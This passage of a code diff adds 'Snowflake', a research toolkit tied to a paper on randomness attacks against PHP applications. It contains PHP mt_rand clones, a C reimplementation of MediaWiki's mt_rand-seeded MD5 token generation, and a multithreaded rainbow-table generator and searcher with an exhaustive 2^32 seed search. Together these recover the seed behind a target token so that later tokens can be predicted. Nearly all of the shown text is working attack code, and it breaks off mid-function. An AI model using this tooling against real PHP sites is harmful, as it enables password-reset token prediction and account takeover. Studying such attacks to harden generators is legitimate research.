+ ctx->buffer[57] = ctx->lo >> 8;
+ ctx->buffer[58] = ctx->lo >> 16;
+ ctx->buffer[59] = ctx->lo >> 24;
+ ctx->buffer[60] = ctx->hi;
+ ctx->buffer[61] = ctx->hi >> 8;
+ ctx->buffer[62] = ctx->hi >> 16;
+ ctx->buffer[63] = ctx->hi >> 24;
+
+ body(ctx, ctx->buffer, 64);
+
+ result[0] = ctx->a;
+ result[1] = ctx->a >> 8;
+ result[2] = ctx->a >> 16;
+ result[3] = ctx->a >> 24;
+ result[4] = ctx->b;
+ result[5] = ctx->b >> 8;
+ result[6] = ctx->b >> 16;
+ result[7] = ctx->b >> 24;
+ result[8] = ctx->c;
+ result[9] = ctx->c >> 8;
+ result[10] = ctx->c >> 16;
+ result[11] = ctx->c >> 24;
+ result[12] = ctx->d;
+ result[13] = ctx->d >> 8;
+ result[14] = ctx->d >> 16;
+ result[15] = ctx->d >> 24;
+
+ memset(ctx, 0, sizeof(*ctx));
+}
+
+#endif
45 hashlibs/md5.h
@@ -0,0 +1,45 @@
+/*
+ * This is an OpenSSL-compatible implementation of the RSA Data Security, Inc.
+ * MD5 Message-Digest Algorithm (RFC 1321).
+ *
+ * Homepage:
+ * http://openwall.info/wiki/people/solar/software/public-domain-source-code/md5
+ *
+ * Author:
+ * Alexander Peslyak, better known as Solar Designer <solar at openwall.com>
+ *
+ * This software was written by Alexander Peslyak in 2001. No copyright is
+ * claimed, and the software is hereby placed in the public domain.
+ * In case this attempt to disclaim copyright and place the software in the
+ * public domain is deemed null and void, then the software is
+ * Copyright (c) 2001 Alexander Peslyak and it is hereby released to the
+ * general public under the following terms:
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ *
+ * See md5.c for more information.
+ */
+
+#ifdef HAVE_OPENSSL
+#include <openssl/md5.h>
+#elif !defined(_MD5_H)
+#define _MD5_H
+
+/* Any 32-bit or wider unsigned integer data type will do */
+typedef unsigned int MD5_u32plus;
+
+typedef struct {
+ MD5_u32plus lo, hi;
+ MD5_u32plus a, b, c, d;
+ unsigned char buffer[64];
+ MD5_u32plus block[16];
+} MD5_CTX;
+
+extern void MD5_Init(MD5_CTX *ctx);
+extern void MD5_Update(MD5_CTX *ctx, void *data, unsigned long size);
+extern void MD5_Final(unsigned char *result, MD5_CTX *ctx);
+
+#endif
148 hashlibs/mwikihash.c
@@ -0,0 +1,148 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+#include <stdint.h>
+
+#include "md5.h"
+
+
+// Mersenne Twister parameters -- stripped from the PHP source
+#define N (624) /* length of state vector */
+#define M (397) /* a period parameter */
+#define hiBit(u) ((u) & 0x80000000U) /* mask all but highest bit of u */
+#define loBit(u) ((u) & 0x00000001U) /* mask all but lowest bit of u */
+#define loBits(u) ((u) & 0x7FFFFFFFU) /* mask the highest bit of u */
+#define mixBits(u, v) (hiBit(u)|loBits(v)) /* move hi bit of u to hi bit of v */
+
+#define twist(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(uint32_t)(loBit(u))) & 0x9908b0dfU))
+
+#define MD5_LEN 16
+
+#define MTOFFSET 4
+
+static inline
+void php_mt_initialize(uint32_t seed, uint32_t *state)
+{
+ register uint32_t *s = state;
+ register uint32_t *r = state;
+ register int i = 1;
+
+ *s++ = seed & 0xffffffffU;
+ for( ; i < N-200; ++i ) {
+ *s++ = ( 1812433253U * ( *r ^ (*r >> 30) ) + i ) & 0xffffffffU;
+ r++;
+ }
+}
+
+
+static inline
+uint32_t temper(uint32_t y)
+{
+ y ^= (y >> 11);
+ y ^= (y << 7) & 0x9d2c5680U;
+ y ^= (y << 15) & 0xefc60000U;
+ y ^= (y >> 18) ;
+ return y;
+}
+
+#define OFFSET 4 //12 for real installations
+
+static inline size_t
+hexConvert(char buf[], unsigned int n1, unsigned int n2)
+{
+ static char digits[] = "0123456789abcdefghijklmnopqrstuvwxyz";
+ char *ptr, *end;
+ unsigned long value, len = 0;
+
+ end = ptr = buf + 32 - 1;
+ *ptr = '\0';
+
+ value = n2;
+ do {
+ *--ptr = digits[value % 16];
+ value /= 16;
+ len ++;
+ } while (ptr > buf && value);
+
+ value = n1;
+ do {
+ *--ptr = digits[value % 16];
+ value /= 16;
+ len ++;
+ } while (ptr > buf && value);
+
+
+ strcpy(buf, ptr);
+ return len;
+}
+
+
+
+char *
+mediawikiHash(unsigned int seed, char hash[])
+{
+ MD5_CTX md5;
+ uint32_t r1, r2;
+ uint32_t state[N];
+ uint32_t *p;
+ char buf[32];
+ int len;
+
+ php_mt_initialize(seed, state);
+ p = state;
+
+ r1 = temper(twist(p[M+OFFSET], p[0+OFFSET], p[1+OFFSET])) >> 1;
+ r2 = temper(twist(p[M+OFFSET+1], p[0+OFFSET+1], p[1+OFFSET+1])) >> 1;
+
+ len = hexConvert(buf, r1, r2);
+
+ MD5_Init( &md5 );
+ MD5_Update( &md5, buf, len);
+ MD5_Final( hash, &md5 );
+ return hash;
+}
+
+typedef struct {
+ char *hashName;
+ char *(*hashFunc)(unsigned int, char *);
+ unsigned int hashLen;
+} hashFuncEntry;
+
+
+
+hashFuncEntry hashFuncArray[] = { // this symbol will be exported.
+ {"wikihash", mediawikiHash, 16},
+ {0, 0, 0}, // terminated by a zero entry.
+};
+
+
+#ifdef __STANDALONE__
+
+static
+char *readable(char *data)
+{
+ char r[33];
+ int i;
+ char *encoded = r;
+
+ for (i = 0; i < 16; i ++, encoded += 2, data ++)
+ sprintf(encoded, "%02hhx", *data);
+ *encoded = '\0';
+ return strdup(r);
+}
+
+
+//test main, not to be used
+int main(int argc, char *argv[])
+{
+ int i;
+ char buf[MD5_LEN];
+
+ mediawikiHash(atoi(argv[1]), buf);
+
+ printf("%s\n", readable(buf));
+ return;
+}
+
+#endif
156 mt_rand/mt_rand.c
@@ -0,0 +1,156 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+
+
+/**
+ The code below is mostly stripped from the PHP sources.
+ **/
+
+
+// Mersenne Twister macros and parameters
+#define hiBit(u) ((u) & 0x80000000U) /* mask all but highest bit of u */
+#define loBit(u) ((u) & 0x00000001U) /* mask all but lowest bit of u */
+#define loBits(u) ((u) & 0x7FFFFFFFU) /* mask the highest bit of u */
+#define mixBits(u, v) (hiBit(u)|loBits(v)) /* move hi bit of u to hi bit of v */
+
+
+#define N (624) /* length of state vector */
+#define M (397) /* a period parameter */
+
+
+#define RAND_RANGE(__n, __min, __max, __tmax) \
+ (__n) = (__min) + (long) ((double) ( (double) (__max) - (__min) + 1.0) * ((__n) / ((__tmax) + 1.0)))
+
+#define PHP_MT_RAND_MAX ((long) (0x7FFFFFFF)) /* (1<<31) - 1 */
+
+
+typedef struct {
+ uint32_t state[N];
+ uint32_t left;
+ uint32_t *next;
+} MTState;
+
+// Will define if the PHP generator will be used, change at compile time
+unsigned short int PHPMtRand = 1;
+
+
+static inline uint32_t
+php_twist(uint32_t m, uint32_t u, uint32_t v)
+{
+ return (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(uint32_t)(loBit(u))) & 0x9908b0dfU));
+}
+
+static inline uint32_t
+mt_twist(uint32_t m, uint32_t u, uint32_t v)
+{
+ return (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(uint32_t)(loBit(v))) & 0x9908b0dfU));
+}
+
+
+
+void
+mtInitialize(uint32_t seed, MTState *mtInfo)
+{
+ /* Initialize generator state with seed
+ See Knuth TAOCP Vol 2, 3rd Ed, p.106 for multiplier.
+ In previous versions, most significant bits (MSBs) of the seed affect
+ only MSBs of the state array. Modified 9 Jan 2002 by Makoto Matsumoto. */
+
+ register uint32_t *s = mtInfo->state;
+ register uint32_t *r = mtInfo->state;
+ register int i = 1;
+
+ *s++ = seed & 0xffffffffU;
+ for( ; i < N; ++i ) {
+ *s++ = ( 1812433253U * ( *r ^ (*r >> 30) ) + i ) & 0xffffffffU;
+ r++;
+ }
+}
+
+
+void
+mtReload(MTState *mtInfo)
+{
+ /* Generate N new values in state
+ Made clearer and faster by Matthew Bellew (matthew.bellew@home.com) */
+
+ register uint32_t *p = mtInfo->state;
+ register int i;
+ register uint32_t (*twist)(uint32_t, uint32_t, uint32_t) =
+ (PHPMtRand)? php_twist : mt_twist;
+
+
+ for (i = N - M; i--; ++p)
+ *p = twist(p[M], p[0], p[1]);
+ for (i = M; --i; ++p)
+ *p = twist(p[M-N], p[0], p[1]);
+ *p = twist(p[M-N], p[0], mtInfo->state[0]);
+ mtInfo->left = N;
+ mtInfo->next = mtInfo->state;
+}
+
+
+void
+mt_srand(uint32_t seed, MTState *mtInfo) {
+ mtInitialize(seed, mtInfo);
+ mtInfo->left = 0;
+
+ return;
+}
+
+
+uint32_t
+mt_rand(MTState *mtInfo)
+{
+ /* Pull a 32-bit integer from the generator state
+ Every other access function simply transforms the numbers extracted here */
+
+ register uint32_t s1;
+
+ if (mtInfo->left == 0)
+ mtReload(mtInfo);
+
+ -- (mtInfo->left);
+ s1 = *mtInfo->next ++;
+
+ s1 ^= (s1 >> 11);
+ s1 ^= (s1 << 7) & 0x9d2c5680U;
+ s1 ^= (s1 << 15) & 0xefc60000U;
+ s1 ^= (s1 >> 18) ;
+ return s1;
+}
+
+
+uint32_t
+php_mt_rand(MTState *mtInfo)
+{
+ return mt_rand(mtInfo) >> 1;
+}
+
+uint32_t
+php_mt_rand_range(MTState *mtInfo, uint32_t min, uint32_t max)
+{
+ uint32_t num = php_mt_rand(mtInfo);
+ RAND_RANGE(num, min, max, PHP_MT_RAND_MAX);
+ return num;
+}
+
+
+
+
+// A simple test main
+int
+main(int argc, char *argv[1])
+{
+ MTState info;
+ int i;
+ uint32_t seed = (argc > 1)? atoi(argv[1]) : 1000;
+
+ mt_srand(seed, &info);
+ printf("%u\n", php_mt_rand_range(&info, 1000, 2000));
+ for (i = 0; i < 10; i ++)
+ printf("%u\n", php_mt_rand(&info));
+ return 0;
+}
+
48 prob.py
@@ -0,0 +1,48 @@
+#!/usr/bin/python
+
+from sys import argv
+from math import exp
+
+KeySpace = 1 << 32
+
+"""
+Note:
+implementation is straightforward application of the rainbow tables
+formula, so it might get a bit slow with very large parameters.
+
+Parameters:
+<chain num> : Number of chains in the rainbow table.
+
+<chain len> : Length of each chain.
+
+<table num> : Number of distinct rainbow tables.
+
+<keyspace> : Total number of passwords (default is 2^{32}).
+"""
+
+
+def main( argc, argv ):
+
+ if (argc < 4):
+ print 'Usage: %s <chain num> <chain len> <table num> <keyspace>' \
+ % (argv[0])
+ return
+
+ m = float(argv[1])
+ t = int(argv[2])
+ tables = int(argv[3])
+ N = KeySpace if argc < 5 else float(argv[4])
+
+ ml = [m]
+ for i in range(t):
+ ml.append( N * (1 - exp(-ml[i]/N)) )
+
+ p = 1
+ for i in range(t):
+ p *= (1 - (ml[i] / N))
+
+ print 'Success probability is: %f' % (1 - pow(p,float(tables)))
+
+
+if __name__ == '__main__':
+ main( len(argv), argv )
189 snowflake.py
@@ -0,0 +1,189 @@
+from ctypes import *
+
+CRACKERLIB_PATH = "../release/snowflake.so"
+bitMask = 0xffffffff
+
+class MtRand:
+
+ N = 624
+ M = 397
+
+ def __init__(self, php = True):
+ self.php = php
+ self.twist = self.phpTwist if php else self.mtTwist
+ self.seeded = False
+ self.state = []
+ self.next = self.N
+
+
+ def phpTwist(self, m, u, v):
+ """
+ The invalid twist operation of the PHP generator
+ """
+ return (m ^ (((u) & 0x80000000)|((v) & 0x7fffffff))>>1) ^ \
+ ((-((u) & 0x00000001)) & 0x9908b0df)
+
+
+ def mtTwist(self, m, u, v):
+ """
+ The original mt twist operation
+ """
+ return (m ^ (((u) & 0x80000000)|((v) & 0x7fffffff))>>1) ^ \
+ ((-((v) & 0x00000001)) & 0x9908b0df)
+
+
+ def mtSrand(self, seed):
+ """
+ The default seeding procedure from the original MT code
+ """
+ self.seeded = True
+ self.next = self.N
+ self.state = [seed & bitMask]
+ for i in range(1, self.N):
+ s = (1812433253 * (self.state[i-1] ^ (self.state[i-1] >> 30))+ i)
+ self.state.append(s & bitMask)
+ #print self.state[0:10]
+
+ def setState(self, state):
+ """
+ Replace existing state with another one and considers the
+ generator initialized
+ """
+ self.next = self.N
+ self.state = state
+ self.seeded = True
+
+
+ def reload(self):
+ """
+ Generate the next N words of the internal state
+ """
+ N = self.N
+ M = self.M
+ for i in range(N - M):
+ self.state[i] = self.twist(self.state[M + i], self.state[i],
+ self.state[i+1])
+ for i in range(i+1, N-1):
+ self.state[i] = self.twist(self.state[i+(M-N)], self.state[i],
+ self.state[i+1])
+ self.state[N-1] = self.twist(self.state[M-1], self.state[N-1],
+ self.state[0])
+ self.next = 0
+ return
+
+
+ def mtRand(self, min = None, max = None):
+ """
+ Generate a 32 bit integer
+ """
+ if not self.seeded:
+ self.mtSrand(0xdeadbeef)
+
+ if self.next == self.N:
+ self.reload()
+
+ num = self.state[ self.next ]
+ self.next += 1
+
+ num = (num ^ (num >> 11))
+ num = (num ^ ((num << 7) & 0x9d2c5680))
+ num = (num ^ ((num << 15) & 0xefc60000))
+ num = (num ^ (num >> 18))
+
+ if not min and not max:
+ return num
+
+ #print max,min
+ return (min + (num*(max - min + 1)) / (1<<32))
+
+ def phpMtRand(self, rmin = None, rmax= None):
+ """
+ as returned by PHP
+ """
+ num = self.mtRand() >> 1
+ #print bin(num)
+ if not rmin and not rmax:
+ return num
+ return (rmin + (num*(rmax - rmin + 1)) / (1 <<31))
+
+
+
+class Snowflake:
+
+ def __init__(self, path=None):
+ """
+ Load the functions from the shared library.
+ """
+ if not path:
+ path = CRACKERLIB_PATH
+ crackerLib = cdll.LoadLibrary(path)
+ self.initialized = False
+
+ if not crackerLib:
+ print 'Foofootos'
+ return
+ self.searchRainbowTableFunc = crackerLib.searchRainbowTable
+ self.searchHashOnlineFunc = crackerLib.searchHashOnline
+ self.initialized = True
+
+
+ def oneWayOrAnother(self, targetHash, tableList=[], hashFuncName=None):
+ """
+ Will try to crack the hash using either rainbow tables or
+ an online search if the first method fails.
+ """
+ seed = None
+ if not targetHash or not self.initialized:
+ return None
+
+ for table in tableList:
+ seed = self.searchRainbowTables(targetHash, tableList)
+ if seed:
+ return seed
+
+ if hashFuncName:
+ seed = self.searchHashOnline(targetHash, hashFuncName)
+
+ return seed
+
+
+ def searchRainbowTables(self, targetHash, tableList):
+ """
+ Will search all tables in tableList for the targetHash
+ hash. It will return the seed value or None if its not
+ found.
+ """
+ if not self.initialized or not (targetHash and tableList):
+ return None
+
+ chash = create_string_buffer(targetHash, len(targetHash))
+ for t in tableList:
+ ct = c_char_p(t)
+ cseed = c_uint()
+ ret = self.searchRainbowTableFunc(ct, chash, byref(cseed))
+ if ret > 0:
+ return cseed.value
+ return None
+
+
+ def searchHashOnline(self, targetHash, hashFunc):
+ """
+ Do an exhaustive search on all 2^32 possible seeds using the
+ respective function from the library.
+ """
+
+ if not self.initialized or not (targetHash and hashFunc):
+ return None
+
+ chash = c_char_p(targetHash)
+ chashFunc = c_char_p(hashFunc)
+ cseed = c_uint()
+
+ ret = self.searchHashOnlineFunc(chashFunc, chash, byref(cseed))
+ if ret > 0:
+ return cseed.value
+ return None
+
+
+if __name__ == '__main__':
+ print 'Snowflake module for attacking PHP PRNGs'
21 snowflake/Makefile
@@ -0,0 +1,21 @@
+CC=gcc
+CFLAGS= -O3 -funroll-loops -fomit-frame-pointer -fno-stack-protector -Wall
+LDFLAGS = -lpthread -ldl
+OBJS = rand.o snowflake.o
+
+LIB_CFLAGS = -D__CRACK_LIB__ -fPIC
+LIB_LDFLAGS = -shared -Wl,-soname,$@.so.1
+
+all: snowflake
+
+snowflake: $(OBJS)
+ $(CC) -o ../release/$@ $^ $(LDFLAGS)
+ rm -f *.o
+ make -f Makefile.lib
+
+%.o : %.c
+ $(CC) $(CFLAGS) -c $<
+
+clean:
+ rm -f *.o ../release/snowflake
+ make -f Makefile.lib clean
18 snowflake/Makefile.lib
@@ -0,0 +1,18 @@
+CC=gcc
+CFLAGS= -O3 -funroll-loops -fomit-frame-pointer -fno-stack-protector -Wall
+LDFLAGS = -lpthread -ldl
+OBJS = rand.o snowflake.o
+
+LIB_CFLAGS = -D__CRACK_LIB__ -fPIC
+LIB_LDFLAGS = -shared -Wl,-soname,$@.so.1
+
+all: snowflake
+
+snowflake: $(OBJS)
+ $(CC) -o ../release/$@.so $^ $(LIB_LDFLAGS)
+
+%.o : %.c
+ $(CC) $(LIB_CFLAGS) $(CFLAGS) -c $<
+
+clean:
+ rm -f *.o ../release/snowflake.so
75 snowflake/rand.c
@@ -0,0 +1,75 @@
+/**
+ This implementation is based on the code taken from the Wikipedia article
+ on multiply with carry generators:
+ (http://en.wikipedia.org/wiki/Multiply-with-carry).
+
+ This generator is very fast with a huge period and satisfying randomness
+ properties.
+ */
+#include <sys/time.h>
+
+#include <pthread.h>
+
+#include "rand.h"
+
+#define PHI 0x9e3779b9
+
+static uint32_t Q[4096], c = 362436, seeded = 0;
+
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+void srand_cmwc(uint32_t x)
+{
+ int i;
+
+ Q[0] = x;
+ Q[1] = x + PHI;
+ Q[2] = x + PHI + PHI;
+
+ for (i = 3; i < 4096; i++)
+ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
+}
+
+static void custom_seed()
+{
+ struct timeval tv;
+
+ gettimeofday(&tv, 0);
+
+ srand_cmwc(tv.tv_sec ^ tv.tv_usec);
+ seeded = 1;
+}
+
+
+
+uint32_t rand_cmwc(void)
+{
+ uint64_t t, a = 18782LL;
+ static uint32_t i = 4095;
+ uint32_t x, r = 0xfffffffe;
+
+ if (!seeded)
+ custom_seed();
+
+
+ i = (i + 1) & 4095;
+ t = a * Q[i] + c;
+ c = (t >> 32);
+ x = t + c;
+ if (x < c) {
+ x++;
+ c++;
+ }
+ return (Q[i] = r - x);
+}
+
+
+uint32_t rand_cmwc_r()
+{
+ uint32_t r;
+
+ pthread_mutex_lock(&mutex);
+ r = rand_cmwc();
+ pthread_mutex_unlock(&mutex);
+ return r;
+}
10 snowflake/rand.h
@@ -0,0 +1,10 @@
+#ifndef __RAND_CMWC__
+#define __RAND_CMWC__
+
+#include <stdint.h>
+
+void srand_cmwc(uint32_t);
+uint32_t rand_cmwc(void);
+uint32_t rand_cmwc_r(void);
+
+#endif
740 snowflake/snowflake.c
@@ -0,0 +1,740 @@
+/**
+ This file contains a lightweight rainbow tables implementation for
+ generating randomness exploits against PHP applications. For more
+ info check the paper:
+ "I Forgot Your Password: Randomness Attacks Against PHP applications"
+
+ By lightweight we mean that the tables must be small enough to fit
+ in the memory of the system. Since the targeted genereators have a
+ 32 bit seed, we only need to have tables for a 2^{32} search space.
+
+ Some sample parameters for the table reveal that we could easily
+ have near 100% success rate with tables that will easily fit in
+ the memory of any modern system:
+
+ For example:
+ Chain Number | Chain length | no. of tables | Success Probality
+
+ 10m 1000 3 0.990317
+ 10m 3000 3 0.999879
+ 5m 3000 3 0.997676
+
+ Notice that each chain entry is 64 bit so we can create a 10m entries
+ table using about 80mb of memory.
+
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <dlfcn.h>
+#include <libgen.h>
+
+#include "rand.h"
+
+#define WORKER_BUFFER_SIZE 8192
+
+#define MAX_HASH_SIZE 64
+
+#define HASHLIB "hashlib"
+#define HASHARRAY "hashFuncArray"
+
+#define MAX_FUNC_NAME 64
+
+#define MAX_HASHLIBS 10
+
+#define MAX_SEED 0xffffffff
+
+typedef unsigned int chainEntry;
+
+typedef char *(*hashFuncPtr)(unsigned int, char *);
+
+typedef struct {
+ chainEntry startpoint;
+ chainEntry endpoint;
+} chain;
+
+
+typedef struct {
+ unsigned int chainNum;
+ unsigned int chainLen;
+ unsigned int hashLen;
+ char *(*hash)(unsigned int, char *);
+ FILE * tableFilePtr;
+} workerData;
+
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+
+typedef struct {
+ char *hashName;
+ char *(*hashFunc)(unsigned int, char *);
+ unsigned int hashLen;
+} hashFuncEntry;
+
+
+////////////////////////////////////////////////////////////////////////
+/// Help functions
+
+
+/*
+ * Reduction function. Takes as input a hash and reduces it to a 32 bit
+ * unsigned integer.
+ */
+chainEntry
+reduce(char *hash, unsigned int hashLen, unsigned int round)
+{
+ chainEntry reduced = 0;
+ chainEntry *hashInt = (chainEntry *) hash;
+ unsigned int i = 0;
+
+ // XOR is very fast so we will quickly consume most of the hash
+ for (i = 0; i < hashLen / sizeof(chainEntry); i ++, hashInt ++)
+ reduced ^= *hashInt;
+
+ // Make an addition of the remaining hash bytes to the reduced value
+ for (i = 0; i < hashLen % sizeof(chainEntry); i++)
+ reduced += (chainEntry) hash[hashLen - 1 - i];
+
+ return reduced^round;
+}
+
+/*
+ * Generates an appropriate table name for the given table parameters.
+ */
+
+char *generateTableName(char *hashName, unsigned int chainNum,
+ unsigned int chainLen, unsigned int index)
+{
+ char buffer[512];
+
+ snprintf(buffer, 512, "%s.%u.%u.%u.rt", hashName, chainNum, chainLen, index);
+ return strdup(buffer);
+}
+
+/*
+ * Does a linear search for all files named hashlib[0-9].so. In each such
+ * file found will attempt to resolve the function named hashFuncName. It
+ * will return a pointer to that function along with the length of the
+ * hash stored in the integer pointed by the hashLen pointer
+ */
+
+hashFuncPtr
+resolveHashFunc(char *hashFuncName, unsigned int *hashLen)
+{
+ int i;
+ char libname[32];
+ void *handle;
+
+ hashFuncEntry *hf;
+
+ for (i = 0; i < MAX_HASHLIBS; i ++) {
+ snprintf(libname, 32, "./%s%d.so", HASHLIB, i);
+
+ handle = dlopen(libname, RTLD_LAZY);
+ if (handle == NULL)
+ continue;
+
+
+ hf = (hashFuncEntry *) dlsym(handle, HASHARRAY);
+ if (hf == NULL) {
+ dlclose(handle);
+ continue;
+ }
+
+ // Iterate all entries in the hashFuncEntry array
+ while (hf->hashName != NULL) {
+
+ if (!strcmp(hf->hashName, hashFuncName)) {
+ *hashLen = hf -> hashLen;
+ return hf->hashFunc;
+ }
+ hf ++;
+ }
+
+ dlclose(handle);
+ }
+
+
+ return NULL;
+}
+
+
+///////////////////////////////////////////////////////////////////////////
+/// Functions that implement the generation of rainbow tables.
+
+/*
+ * Generates a chain if length chainLen using the function hash. *
+ */
+static inline chain
+generateChain(char *(*hash)(unsigned int, char *), unsigned int chainLen,
+ unsigned int hashLen)
+{
+ unsigned int i = 0;
+ chain result;
+ chainEntry tmp;
+ char buf[MAX_HASH_SIZE];
+
+ result.startpoint = tmp = rand_cmwc_r();
+
+ for (; i < chainLen; i ++)
+ tmp = reduce(hash(tmp, buf), hashLen, i);
+
+ result.endpoint = tmp;
+ return result;
+}
+
+
+/*
+ * This is the worker function of each thread. Will generate a number of chains
+ * depending on the total chains and the total threads and will write the into the
+ * output table in buckets of WORKER_BUFFER_SIZE to improve performanace.
+ */
+static void *
+chainGenerationWorker(void *arg)
+{
+ workerData *data = (workerData *) arg;
+ unsigned int i, j, chainsLeft;
+ chain buffer[WORKER_BUFFER_SIZE];
+
+
+ // Make chains in buckets of WORKER_BUFFER_SIZE and write them to the file
+ for (i = 0; i < data->chainNum / WORKER_BUFFER_SIZE + 1; i ++) {
+ chainsLeft = (i < data->chainNum / WORKER_BUFFER_SIZE)? WORKER_BUFFER_SIZE
+ : data->chainNum % WORKER_BUFFER_SIZE;
+ for (j = 0; j < chainsLeft; j ++)
+ buffer[j] = generateChain(data->hash, data->chainLen, data->hashLen); //check for errors?
+
+ pthread_mutex_lock(&mutex);
+ if (fwrite(buffer, sizeof(chain), chainsLeft, data->tableFilePtr)
+ != chainsLeft) {
+ fprintf(stderr, "Error writing data to file.");
+ pthread_mutex_unlock(&mutex);
+ return (void *)-1;
+ }
+ pthread_mutex_unlock(&mutex);
+
+ }
+
+ return (void *)0;
+}
+
+
+/*
+ * Spawns the necessary threads in order to create the rainbow table and in addition
+ * does some bookkeeping.
+ */
+int createRainbowTable(unsigned int chainNum, unsigned int chainLen,
+ char *(*hash)(unsigned int, char *),
+ unsigned int hashLen,
+ char *tableName)
+{
+ FILE *tablePtr = fopen(tableName, "w");
+
+ if (tablePtr == NULL)
+ return -1;
+
+ // thread number is the number of online processors in the system.
+ unsigned int threadNum;
+ long conf = sysconf(_SC_NPROCESSORS_ONLN);
+ if (conf <= 0)
+ threadNum = 1;
+ else
+ threadNum = conf;
+
+
+ int i;
+ pthread_t *tid = malloc(threadNum * sizeof(pthread_t));
+ workerData *args = malloc(threadNum * sizeof(workerData));
+
+ if (tid == NULL)
+ return -1;
+
+ if (args == NULL) {
+ free(tid);
+ return -1;
+ }
+
+ // generate worker threads.
+ for (i = 0; i < threadNum; i ++) {
+ args[i].chainNum = (i < threadNum - 1)?
+ chainNum / threadNum : chainNum / threadNum + chainNum % threadNum;
+ args[i].chainLen = chainLen;
+ args[i].hash = hash;
+ args[i].hashLen = hashLen;
+ args[i].tableFilePtr = tablePtr;
+
+ pthread_create(&tid[i], NULL, chainGenerationWorker, (void *)&args[i]);
+ }
+
+ void *ret;
+ int status = 0;
+ // on success threads will return 0. If a non zero value is returned
+ // an error occured.
+ for (i = 0; i < threadNum; i ++) {
+ pthread_join(tid[i], &ret);
+ status |= (int)ret;
+ }
+
+ free(tid);
+ free(args);
+ fclose(tablePtr);
+ if (status)
+ return -1;
+ return 1;
+}
+
+
+void inline
+swap(chain *a, chain *b)
+{
+ chain t=*a; *a=*b; *b=t;
+}
+
+
+/*
+ Sort the rainbow table using quicksort.
+ */
+void
+quickSortTable(chain *table, unsigned int beg, unsigned int end)
+{
+
+ if (end > beg + 1) {
+
+ int piv = table[beg].endpoint, l = beg+1, r = end;
+ while (l < r) {
+ if (table[l].endpoint <= piv)
+ l++;
+ else
+ swap(&table[l], &table[--r]);
+ }
+ swap(&table[--l], &table[beg]);
+ quickSortTable(table, beg, l);
+ quickSortTable(table, r, end);
+ }
+
+}
+
+
+/*
+ * Sort a rainbow table and store the results in the same file.
+ */
+int
+sortRainbowTable(char *tableName, unsigned int chainNum)
+{
+ struct stat sb;
+ chain *table;
+ int fd = open(tableName, O_RDWR);
+
+ if (fd < 0) {
+ return -1;
+ }
+
+ if (fstat (fd, &sb) == -1) {
+ perror ("fstat");
+ return -1;
+ }
+
+
+ table = (chain *) mmap (0, sb.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+ if (table == MAP_FAILED) {
+ perror ("mmap");
+ return 1;
+ }
+
+ quickSortTable(table, 0, chainNum);
+
+ close(fd);
+ munmap(table, sb.st_size);
+ return 1;
+}
+
+
+
+/*
+ * Top level function that generates a rainbow table. It will resolve the hash
+ * function and create an appropriate table name before calling the internal
+ * table generation function and afterwards the table sorting function.
+ */
+int
+generateRainbowTable(unsigned int chainNum, unsigned int chainLen,
+ unsigned int index, char *hashName)
+
+{
+
+ unsigned int hashLen;
+ char *(*hashFunc)(unsigned int, char *) = resolveHashFunc(hashName, &hashLen);
+
+ if (hashFunc == NULL)
+ return -1;
+
+
+ char *tableName = generateTableName(hashName, chainNum, chainLen, index);
+
+ if (createRainbowTable(chainNum, chainLen, hashFunc, hashLen,
+ tableName) < 0 ||
+ sortRainbowTable(tableName, chainNum) < 0)
+ return -1;
+
+ free(tableName);
+ return 1;
+}
+
+
+
+/////////////////////////////////////////////////////////////////////////////
+
+/*
+ * Search the table array for a given endpoint using binary search.
+ * When a match is found, it traverses the array backwards to find
+ * the first occurence of this match and returns a pointer in that
+ * position. This way all other occurences can be enumerated efficiently
+ * by scanning the array linearly in increasing order.
+ */
+
+int
+searchTable(chain *table, int chainNum, chainEntry endpoint,
+ chainEntry *index)
+{
+ unsigned int beg = 0, end = chainNum - 1;
+
+ while (beg < end) {
+ long mid = (beg + end) / 2;
+
+ if (endpoint < table[mid].endpoint)
+ end = mid;
+ else if (endpoint > table[mid].endpoint)
+ beg = mid + 1;
+ else {
+ while (mid >= 0 && endpoint == table[mid--].endpoint);
+ *index = (mid < 0)? 0 : mid + 1;
+ return 1;
+ }
+ }
+ return 0;
+}
+
+/*
+ * When a candidate match is found in an endpoint this function
+ * regenerates the chain to either obtain the seed or to report
+ * that the match was a false positive.
+ */
+
+int regenerateChain(chainEntry startpoint, unsigned int chainLen,
+ char *(*hashFunc)(unsigned int, char *),
+ unsigned int hashLen,
+ char *targetHash, unsigned int *seed)
+{
+ int i;
+ chainEntry tmp = startpoint;
+ char buf[MAX_HASH_SIZE];
+
+ for (i = 0; i < chainLen; i ++) {
+ if (!memcmp(hashFunc(tmp, buf), targetHash, hashLen)) {
+ *seed = tmp;
+ return 1;
+ }
+ tmp = reduce(buf, hashLen, i);
+ }
+
+ return 0;
+}
+
+int
+searchHashInMemory(chain *table, unsigned int chainNum, unsigned int chainLen,
+ char *(*hashFunc)(unsigned int, char *),
+ unsigned int hashLen,
+ char *targetHash, unsigned int *seed)
+{
+
+ int i, j;
+ char buf[MAX_HASH_SIZE];
+ chainEntry index, r;
+
+ for (j = chainLen - 1; j >= 0; j --) {
+ char *tmpHash = targetHash;
+ for (i = j; i < chainLen-1; i ++) {
+ r = reduce(tmpHash, hashLen, i);
+ tmpHash = hashFunc(r, buf);
+ }
+
+ // A note on the search algorithm:
+ // Because we dont keep only unique endpoints, in each match we have
+ // a number of startpoints that we can try to regenerate in order to
+ // find the target seed. The searchTable function will return a pointer
+ // to the first such entry and then we can check them all linearly.
+ // This makes a nice improvements on the number of hashes that we
+ // actually find.
+ r = reduce(tmpHash, hashLen, i);
+ if (searchTable(table, chainNum, r, &index))
